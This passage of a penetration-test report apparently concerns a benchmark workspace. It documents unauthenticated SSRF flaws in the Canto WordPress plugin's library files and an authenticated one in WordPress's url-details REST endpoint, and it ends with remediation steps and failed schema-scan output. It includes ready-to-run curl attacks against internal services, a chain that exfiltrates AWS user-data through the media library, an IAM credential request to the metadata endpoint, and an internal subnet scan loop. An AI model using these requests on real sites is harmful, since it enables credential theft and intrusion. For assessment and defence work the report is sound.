$response = wp_remote_get($url,
    array(
        'method' => 'GET',
        'headers' => $args_for_get,
        'timeout' => 120,
    )
);
```

**SSRF Sink Type:** `wp_remote_get()` for binary download

**User-Controllable Parameters:**
- `subdomain` - Domain prefix
- `app_api` - Domain suffix and path
- `id` - Path component (can include "../" for traversal)

**Network Accessibility:** ✅ YES - Directly accessible

**Attack Scenarios:**

1. **Internal Service Enumeration:**
```bash
curl "https://target.com/wp-content/plugins/canto/includes/lib/download.php?subdomain=elasticsearch&app_api=local:9200/_cluster/health&id=&wp_abspath=/var/www/html"
```

2. **Redis Access:**
```bash
curl "https://target.com/wp-content/plugins/canto/includes/lib/download.php?subdomain=redis&app_api=local:6379/&id=INFO&wp_abspath=/var/www/html"
```

**Severity:** **CRITICAL**

---

#### SSRF Sink #3: detail.php - Resource Detail Fetch

**File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/lib/detail.php`

**Line Numbers:** 3, 13, 21-26

**Code Snippet:**
```php
// Line 3: Authentication bypass via user-controlled path
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');

// Lines 6-10: User input
$subdomain = sanitize_text_field($_REQUEST['subdomain']);
$app_api = sanitize_text_field($_REQUEST['app_api']);
$scheme = sanitize_text_field($_REQUEST['scheme']);
$id = sanitize_text_field($_REQUEST['id']);

// Line 13: URL construction
$url = 'https://' . $subdomain . '.' . $app_api . '/api/v1/' . $scheme . '/' . $id;

// Lines 21-26: SSRF sink
$response = wp_remote_get($url,
    array(
        'method' => 'GET',
        'headers' => $args_for_get
    )
);
```

**SSRF Sink Type:** `wp_remote_get()` with multi-component URL control

**User-Controllable Parameters:**
- `subdomain` - Host prefix
- `app_api` - Host suffix
- `scheme` - Resource type (e.g., "image", "video") - can be manipulated for path traversal
- `id` - Resource ID - can include "../" sequences

**Network Accessibility:** ✅ YES

**Attack Scenarios:**

1. **Kubernetes API Access:**
```bash
curl "https://target.com/wp-content/plugins/canto/includes/lib/detail.php?subdomain=kubernetes&app_api=default.svc.cluster.local/api/v1/&scheme=namespaces&id=default&wp_abspath=/var/www/html"
```

**Severity:** **CRITICAL**

---

#### SSRF Sink #4: tree.php - Folder Structure Enumeration

**File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/lib/tree.php`

**Line Numbers:** 5, 15-17, 28-34

**Code Snippet:**
```php
// Line 5: Authentication bypass
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');

// Lines 8-11: User input
$subdomain = sanitize_text_field($_REQUEST['subdomain']);
$app_api = sanitize_text_field($_REQUEST['app_api']);
$ablumid = sanitize_text_field($_REQUEST['ablumid']);

// Lines 15-17: Conditional URL construction
if (isset($ablumid) && !empty($ablumid)) {
    $url = 'https://' . $subdomain . '.' . $app_api . '/api/v1/tree/' . $ablumid . 
           '?sortBy=name&sortDirection=ascending';
} else {
    $url = 'https://' . $subdomain . '.' . $app_api . '/api/v1/tree?sortBy=name&sortDirection=ascending&layer=1';
}

// Lines 28-34: SSRF sink
$response = wp_remote_get($url,
    array(
        'method' => 'GET',
        'headers' => $args_for_get,
        'timeout' => 120,
    )
);
```

**SSRF Sink Type:** `wp_remote_get()` for directory enumeration

**User-Controllable Parameters:**
- `subdomain`, `app_api`, `ablumid` - Full URL control

**Network Accessibility:** ✅ YES

**Severity:** **CRITICAL**

---

#### SSRF Sink #5: copy-media.php - SSRF Chain with File Download

**File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/lib/copy-media.php`

**Line Numbers:** 55, 86-111, 203

**Code Snippet:**
```php
// Line 55: Authentication bypass
require_once(urldecode($_POST['abspath']) . 'wp-admin/admin.php');

// Lines 70-77: User-controlled parameters
$post_fbc_flight_domain = sanitize_text_field($_POST['fbc_flight_domain']);
$post_fbc_app_api = sanitize_text_field($_POST['fbc_app_api']);
$post_fbc_id = sanitize_text_field($_POST['fbc_id']);
$post_fbc_scheme = sanitize_text_field($_POST['fbc_scheme']);

// Lines 86-91: First SSRF - construct URL and fetch details
$flight['api_url'] = 'https://' . $post_fbc_flight_domain . '.' . $post_fbc_app_api . '/api/v1/';
$flight['req'] = $flight['api_url'] . $post_fbc_scheme . '/' . $post_fbc_id;
$response = canto_curl_action($flight['req'], 0);

// Lines 105-109: Second SSRF - use response from first request
$detail = $response->url->download;
$detail = $detail . '/directuri';
$detail = canto_curl_action($detail, 1);
$location = trim($detail);

// Line 111: Third SSRF - download file from attacker-controlled URL
$tmp = download_url($location);

// Line 203: Fourth stage - upload downloaded file to WordPress
$id = media_handle_sideload($file_array, $post_id);
```

**SSRF Sink Type:** Multi-stage SSRF chain with file download and upload

**User-Controllable Parameters:**
- `fbc_flight_domain` - Initial request domain
- `fbc_app_api` - Initial request domain suffix
- `fbc_id`, `fbc_scheme` - Path components
- Response contains `url.download` which determines second request
- Final `download_url()` fetches from response-controlled URL

**Network Accessibility:** ✅ YES - Directly accessible via POST

**Attack Scenarios:**

1. **SSRF Chain to Internal File Upload:**
```bash
# Step 1: Attacker controls Canto API response to return internal URL
POST /wp-content/plugins/canto/includes/lib/copy-media.php
{
  "fbc_flight_domain": "attacker",
  "fbc_app_api": "com",
  "fbc_id": "malicious",
  "fbc_scheme": "image"
}

# Attacker's server returns:
{
  "url": {
    "download": "http://169.254.169.254/latest/user-data"
  }
}

# Result: Server fetches AWS user-data, uploads to WordPress media library
```

2. **Internal File Exfiltration:**
- Download internal configuration files
- Upload to WordPress media library (publicly accessible)
- Retrieve via media library URL

**Severity:** **CRITICAL**

**Exploitability:** High - Requires crafting malicious API responses, but direct file access allows unauthenticated exploitation

---

### 10.2 WordPress Core REST API SSRF (MEDIUM SEVERITY)

#### SSRF Sink #6: URL Details Controller - Authenticated Link Preview

**File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php`

**Line Numbers:** 36-58 (route registration), 197-213 (permission check), 224-254 (SSRF sink)

**Code Snippet:**
```php
// Lines 36-58: REST API route registration
register_rest_route(
    $this->namespace,  // 'wp-block-editor/v1'
    '/' . $this->rest_base,  // 'url-details'
    array(
        array(
            'methods'             => WP_REST_Server::READABLE,
            'callback'            => array( $this, 'parse_url_details' ),
            'args'                => array(
                'url' => array(
                    'required'          => true,
                    'description'       => __( 'The URL to process.' ),
                    'validate_callback' => 'wp_http_validate_url',
                    'sanitize_callback' => 'sanitize_url',
                    'type'              => 'string',
                    'format'            => 'uri',
                ),
            ),
            'permission_callback' => array( $this, 'permissions_check' ),
        ),
    )
);

// Lines 197-213: Permission check
public function permissions_check() {
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    // ... checks for other post types
}

// Lines 224-254: SSRF sink
private function get_remote_url( $url ) {
    $response = wp_safe_remote_get( $url, $args );
    // Fetches URL content for link preview generation
}
```

**SSRF Sink Type:** `wp_safe_remote_get()` via REST API endpoint

**User-Controllable Parameters:**
- `url` - Full URL parameter (validated by `wp_http_validate_url()` but still allows internal IPs)

**Network Accessibility:** ✅ YES - REST API endpoint:
```
GET /wp-json/wp-block-editor/v1/url-details?url=http://169.254.169.254/latest/meta-data/
```

**Authentication Required:** ✅ YES - Requires `edit_posts` capability (Authors, Editors, Administrators)

**Attack Scenarios:**

1. **Authenticated Cloud Metadata Access:**
```bash
curl -H "Authorization: Bearer [APP_PASSWORD]" \
  "https://target.com/wp-json/wp-block-editor/v1/url-details?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
```

2. **Internal Network Reconnaissance:**
```bash
# Authenticated attacker (Author role) scans internal network
for ip in {1..254}; do
  curl -H "Authorization: Bearer [TOKEN]" \
    "https://target.com/wp-json/wp-block-editor/v1/url-details?url=http://192.168.1.$ip"
done
```

**Severity:** **MEDIUM**

**Exploitability:** Medium - Requires authenticated user with `edit_posts` capability

**Protection:** ⚠️ Partial - `wp_http_validate_url()` performs basic validation but **does NOT block RFC 1918 private IPs or link-local addresses**

---

### Summary of SSRF Findings

**Total SSRF Sinks Found:** 6

**By Severity:**
- **CRITICAL (Unauthenticated):** 5 sinks
  - get.php
  - download.php
  - detail.php
  - tree.php
  - copy-media.php (SSRF chain)
- **MEDIUM (Authenticated):** 1 sink
  - WP_REST_URL_Details_Controller

**By Attack Vector:**
- **Cloud Metadata Theft:** All 6 sinks
- **Internal Network Scanning:** All 6 sinks
- **Port Scanning:** 5 sinks (except copy-media.php chain)
- **File Exfiltration:** copy-media.php (via upload to media library)
- **SSRF Chain:** copy-media.php (multi-stage with file download)

**Critical Finding:** The five Canto plugin SSRF vulnerabilities are **immediately exploitable without authentication** due to direct file access bypassing WordPress authentication. An attacker can probe internal networks, steal cloud credentials, and exfiltrate data with zero prerequisites.

**Recommended Immediate Actions:**
1. **Block direct access** to `/wp-content/plugins/canto/includes/lib/*.php` via `.htaccess` or web server configuration
2. **Implement URL allowlist** for `subdomain` and `app_api` parameters (only allow legitimate Canto domains)
3. **Block RFC 1918 and link-local addresses** in all outbound HTTP clients
4. **Add authentication checks** to all plugin library files before processing requests
5. **Implement egress filtering** at network level to prevent internal network access

## Authenticated Scans

### SCHEMATHESIS
Status: success
Schema: canto-plugin-package.json
Error: Schemathesis v4.1.4
━━━━━━━━━━━━━━━━━━━


 ❌  Failed to load specification from                                          
 /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/outputs/schemas/ca 
 nto-plugin-package.json after 0.28s                                            
                                                                                
 Schema Loading Error                                                           
                                                                                
 Unable to determine the Open API version as it's not specified in the          
 document.                                                                      

Tip: Include the version in the schema.


Schema: rock-tune-theme.json
Error: Schemathesis v4.1.4
━━━━━━━━━━━━━━━━━━━


 ❌  Failed to load specification from                                          
 /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/outputs/schemas/ro 
 ck-tune-theme.json after 0.14s                                                 
                                                                                
 Schema Loading Error                                                           
                                                                                
 Unable to determine the Open API version as it's not specified in the          
 document.                                                                      

Tip: Include the version in the schema.


---
Report generated at: 2025-10-29T03:57:54.004Z